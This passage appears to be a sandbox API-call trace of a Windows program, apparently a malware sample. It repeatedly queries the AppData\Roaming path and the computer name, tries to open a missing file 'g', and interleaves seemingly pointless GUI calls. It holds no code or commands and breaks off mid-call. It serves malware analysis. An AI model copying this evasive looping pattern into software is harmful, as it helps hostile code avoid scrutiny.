[0144.758] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.758] CloseHandle (hObject=0x0) returned 0 [0144.758] CloseHandle (hObject=0xffffffff) returned 1 [0144.758] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.758] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.758] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.758] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.758] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.758] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.759] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.759] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.759] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.759] CloseHandle (hObject=0x0) returned 0 [0144.759] CloseHandle (hObject=0xffffffff) returned 1 [0144.759] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.759] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.759] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.759] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.759] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.759] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.759] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.759] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.759] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.759] CloseHandle (hObject=0x0) returned 0 [0144.759] CloseHandle (hObject=0xffffffff) returned 1 [0144.759] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.759] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.759] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.759] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.759] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.759] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.760] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.760] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.760] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.760] CloseHandle (hObject=0x0) returned 0 [0144.760] CloseHandle (hObject=0xffffffff) returned 1 [0144.760] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.760] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.760] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.760] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.760] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.760] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.760] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.760] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.760] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.760] CloseHandle (hObject=0x0) returned 0 [0144.760] CloseHandle (hObject=0xffffffff) returned 1 [0144.760] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.760] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.760] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.760] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.760] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.760] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.761] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.761] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.761] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.761] CloseHandle (hObject=0x0) returned 0 [0144.761] CloseHandle (hObject=0xffffffff) returned 1 [0144.761] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.761] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.761] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.761] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.761] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.761] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.761] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.761] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.761] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.761] CloseHandle (hObject=0x0) returned 0 [0144.761] CloseHandle (hObject=0xffffffff) returned 1 [0144.761] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.761] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.761] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.761] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.761] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.761] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.761] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.762] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.762] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.762] CloseHandle (hObject=0x0) returned 0 [0144.762] CloseHandle (hObject=0xffffffff) returned 1 [0144.762] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.762] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.762] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.762] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.762] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.762] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.762] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.762] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.762] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.762] CloseHandle (hObject=0x0) returned 0 [0144.762] CloseHandle (hObject=0xffffffff) returned 1 [0144.762] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.762] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.762] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.762] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.762] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.762] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.762] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.762] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.763] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.763] CloseHandle (hObject=0x0) returned 0 [0144.763] CloseHandle (hObject=0xffffffff) returned 1 [0144.763] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.763] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.763] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.763] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.763] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.763] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.763] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.763] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.763] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.763] CloseHandle (hObject=0x0) returned 0 [0144.763] CloseHandle (hObject=0xffffffff) returned 1 [0144.763] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.763] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.763] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.763] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.763] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.764] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.764] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.764] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.764] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.764] CloseHandle (hObject=0x0) returned 0 [0144.765] CloseHandle (hObject=0xffffffff) returned 1 [0144.765] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.765] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.765] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.765] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.765] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.765] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.765] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.765] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.765] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.765] CloseHandle (hObject=0x0) returned 0 [0144.765] CloseHandle (hObject=0xffffffff) returned 1 [0144.765] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.765] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.765] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.765] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.765] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.765] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.765] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.765] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.765] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.765] CloseHandle (hObject=0x0) returned 0 [0144.766] CloseHandle (hObject=0xffffffff) returned 1 [0144.766] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.766] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.766] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.766] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.766] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.766] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.766] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.766] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.766] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.766] CloseHandle (hObject=0x0) returned 0 [0144.766] CloseHandle (hObject=0xffffffff) returned 1 [0144.766] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.766] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.766] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.766] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.766] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.766] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.766] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.766] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.766] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.766] CloseHandle (hObject=0x0) returned 0 [0144.766] CloseHandle (hObject=0xffffffff) returned 1 [0144.767] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.767] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.767] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.767] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.767] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.767] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.767] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.767] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.767] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.767] CloseHandle (hObject=0x0) returned 0 [0144.767] CloseHandle (hObject=0xffffffff) returned 1 [0144.767] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.767] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.767] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.767] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.767] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.767] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.767] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.767] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.767] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.767] CloseHandle (hObject=0x0) returned 0 [0144.767] CloseHandle (hObject=0xffffffff) returned 1 [0144.768] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: 